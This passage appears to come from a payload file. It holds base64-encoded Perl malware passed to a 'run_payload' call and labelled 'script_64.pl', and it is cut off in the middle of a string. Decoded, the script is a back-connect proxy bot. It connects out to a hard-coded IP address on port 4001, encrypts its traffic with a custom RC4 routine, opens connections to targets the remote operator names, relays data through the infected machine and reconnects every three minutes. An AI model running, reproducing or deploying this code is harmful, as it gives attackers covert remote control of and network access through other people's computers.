wgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_64.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjUzJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcn